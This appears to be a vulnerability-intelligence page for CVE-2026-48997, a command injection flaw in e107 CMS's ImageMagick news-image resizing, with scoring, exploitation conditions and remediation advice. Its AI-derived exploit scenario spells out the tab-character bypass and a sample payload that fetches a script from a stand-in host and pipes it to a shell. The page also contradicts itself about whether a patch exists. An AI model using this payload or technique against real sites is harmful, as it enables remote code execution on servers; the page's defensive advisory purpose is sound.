Skip to main content

e107 CMS CVE-2026-48997

HIGH
OS Command Injection (CWE-78)
2026-06-17 GitHub_M
7.1
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Register low-privilege account in permitted class
  2. Delivery
    Craft news title with tab and $(cmd) payload
  3. Exploit
    Submit news with image attachment
  4. Install
    resize_image() builds convert command with unescaped destination
  5. C2
    /bin/sh -c expands payload
  6. Execute
    Shell command executes as web server user
  7. Impact
    Persist webshell or pivot

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires all of the following on the target e107 site: site preference resize_method=ImageMagick (default is GD), subnews_attach=1, upload_enabled=1, subnews_resize set to a numeric value between 30 and 5000, and the attacker's user class must be permitted by both subnews_class AND upload_class. The attacker must hold a non-admin authenticated account in those classes (CVSS PR:L). No user interaction by another party is required (UI:N). The ImageMagick 'convert' binary must be installed and reachable on the host. The CMS title filter behavior - stripping spaces but not tabs - is the precise sanitization gap that makes injection possible, so any defense that also strips \t from titles before path construction would neutralize exploitation.

Impact

The CVSS 3.1 base score of 7.1 (AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:H) reflects a network-reachable but high-complexity, low-privilege flaw with strong integrity/availability impact - consistent with shell command execution as www-data. The high attack complexity rating is justified: the description enumerates five concurrent non-default preference settings plus a class-membership requirement that must all hold before the bug is reachable, which substantially narrows the exploit population. No EPSS score, KEV listing, or POC was supplied in the intelligence pack, and no public exploit identified at time of analysis. Realistically this is a moderate-priority issue for sites that explicitly enable ImageMagick-based news image resizing with reader-submitted news - most default e107 deployments are unaffected, but on configured sites a registered user can pivot to RCE, so patching is still warranted.

Exploit ScenarioDerived

An attacker registers a normal user account on a target e107 site whose admin has enabled ImageMagick resizing and reader news submission with attachments. They submit a news article whose title begins with six characters containing a tab followed by a shell substitution such as \t$(curl evil/sh|sh), then attach an image; when the upload handler invokes convert, /bin/sh -c expands the embedded command and the attacker gains code execution as the web server user. No public exploit identified at time of analysis, but the technique is straightforward given source access.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 17, 2026

Command injection in e107 CMS versions 2.3.5 and earlier allows authenticated low-privilege users to execute arbitrary shell commands as the web server user via the news submission upload flow. The flaw lives in resize_image() where the ImageMagick convert destination path embeds a 6-character slice of the user-controlled news title without shell escaping, letting tab characters and $(...) / backtick expansions reach /bin/sh -c. No public exploit identified at time of analysis, and exploitation requires a specific non-default configuration combination.

RemediationAI

Vendor-released patch: e107 v2.3.6 - upgrade from any 2.x release at or below 2.3.5 via https://github.com/e107inc/e107/releases/tag/v2.3.6 (commit 794a179f hardens the convert destination path). If immediate upgrade is not possible, neutralize the attack surface by changing any one of the gating preferences: set resize_method to GD instead of ImageMagick, set subnews_attach=0 to disable image attachments on news submission, set upload_enabled=0 to disable user uploads (this also blocks legitimate reader uploads site-wide), set subnews_resize outside the 30-5000 numeric range, or tighten subnews_class / upload_class so only trusted admins can submit news with attachments (side effect: removes the reader-news contribution workflow). Consult the full advisory at https://github.com/e107inc/e107/security/advisories/GHSA-3j33-c9v4-4p42 before deploying workarounds.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

e107 is an open-source PHP content management system. The vulnerable code path is resize_image() in the media-handling subsystem, which builds an ImageMagick 'convert' command line. While the source path is sanitized via PHP's escapeshellarg(), the destination filename - which incorporates the first six characters of the submitted news title - is interpolated inside raw double quotes. The CMS title filter strips literal space characters but leaves tab (\t) intact, so an attacker can break tokenization inside the quoted string and inject shell metacharacters such as $(cmd) or cmd, which /bin/sh -c expands before convert is invoked. This is a classic CWE-78 OS Command Injection rooted in inconsistent argument escaping (escapeshellarg on one operand, manual quoting on another). The affected CPE is cpe:2.3:a:e107inc:e107:*:*:*:*:*:*:*:* for all 2.x branches up to and including 2.3.5.

Know when E107 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 7.1 HIGH
AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:H
vuln.today AI 7.5 HIGH

Network-reachable via news submission (AV:N); five non-default prefs plus class membership justify AC:H; requires authenticated non-admin (PR:L); shell RCE as web user yields full CIA impact.

3.1 AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
High

DescriptionCVE.org

e107 is a content management system (CMS). Versions 2.3.5 and earlier contain a command injection vulnerability in the ImageMagick resize destination path. In resize_image(), the source path is escaped with escapeshellarg(), but the destination path is inserted inside raw double quotes in the convert command; in the submit-news upload flow, that destination filename includes the first six characters of user-controlled news title input. Because the title filter removes literal spaces but not tab characters, and shell expansions such as $(...) and backticks can survive into the quoted destination argument, /bin/sh -c may evaluate attacker-controlled input. Exploitation is possible only when all of the following non-default settings are enabled: resize_method=ImageMagick, subnews_attach=1, upload_enabled=1, subnews_resize is numeric between 30 and 5000, and the attacker is a non-admin in classes permitted by both subnews_class and upload_class. This issue has been fixed in version 2.3.6.

Executive ViewAI

Why It Matters

e107 CMS versions 2.3.5 and earlier contain a vulnerability allowing authenticated users to execute arbitrary system commands with web server privileges through the news submission feature. This could enable data theft, service disruption, or lateral movement into internal systems. Organizations must immediately restrict submission access and remove the feature from non-administrative users.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict news submission permissions to administrators only; (2) Deploy WAF rules to block backticks, dollar signs, and tab characters in user inputs; (3) Disable news upload functionality entirely if not operationally critical; (4) Enable command execution logging and file integrity monitoring on web server processes; (5) Implement network segmentation to contain lateral movement from the affected web server.

Threat Intelligence Overview

EPSS Score
0.7%
Top 50% exploitable
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.7%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

37
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Affected Products (CPE)CVE.org

cpe:2.3:a:e107inc:e107:*:*:*:*:*:*:*:*

More in E107

View all
CVE-2022-50905 CRITICAL POC
9.8 Jan 13

e107 CMS 3.2.1 has multiple XSS vulnerabilities in news comments that allow executing arbitrary JavaScript. Rated CVSS 9

CVE-2021-27885 HIGH POC
8.8 Mar 02

usersettings.php in e107 through 2.3.0 lacks a certain e_TOKEN protection mechanism. Rated high severity (CVSS 8.8), thi

CVE-2018-15901 HIGH POC
8.8 Aug 28

e107 2.1.8 has CSRF in 'usersettings.php' with an impact of changing details such as passwords of users including admini

CVE-2021-47937 HIGH POC
8.7 May 10

e107 CMS 2.3.0 contains a remote code execution vulnerability that allows authenticated users with theme installation pe

CVE-2022-50939 HIGH POC
7.2 Jan 13

e107 CMS version 3.2.1 contains a critical file upload vulnerability that allows authenticated administrators to overrid

CVE-2016-10378 HIGH POC
7.2 May 29

e107 2.1.1 allows SQL injection by remote authenticated administrators via the pagelist parameter to e107_admin/menus.ph

CVE-2022-50907 HIGH POC
7.2 Jan 13

e107 CMS version 3.2.1 contains a file upload vulnerability that allows authenticated administrative users to bypass upl

CVE-2022-50916 HIGH POC
7.2 Jan 13

e107 CMS version 3.2.1 contains a file upload vulnerability that allows authenticated administrators to override server

CVE-2018-16388 HIGH POC
7.2 Sep 12

e107_web/js/plupload/upload.php in e107 2.1.8 allows remote attackers to execute arbitrary PHP code by uploading a .php

CVE-2012-6433 MEDIUM POC
6.8 Jan 03

Cross-site request forgery (CSRF) vulnerability in e107_admin/newspost.php in e107 1.0.1 allows remote attackers to hija

CVE-2012-6434 MEDIUM POC
6.8 Jan 03

Multiple cross-site request forgery (CSRF) vulnerabilities in e107_admin/download.php in e107 1.0.2 allow remote attacke

CVE-2018-16381 MEDIUM POC
6.1 Sep 05

e107 2.1.8 has XSS via the e107_admin/users.php?mode=main&action=list user_loginname parameter. Rated medium severity (C

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy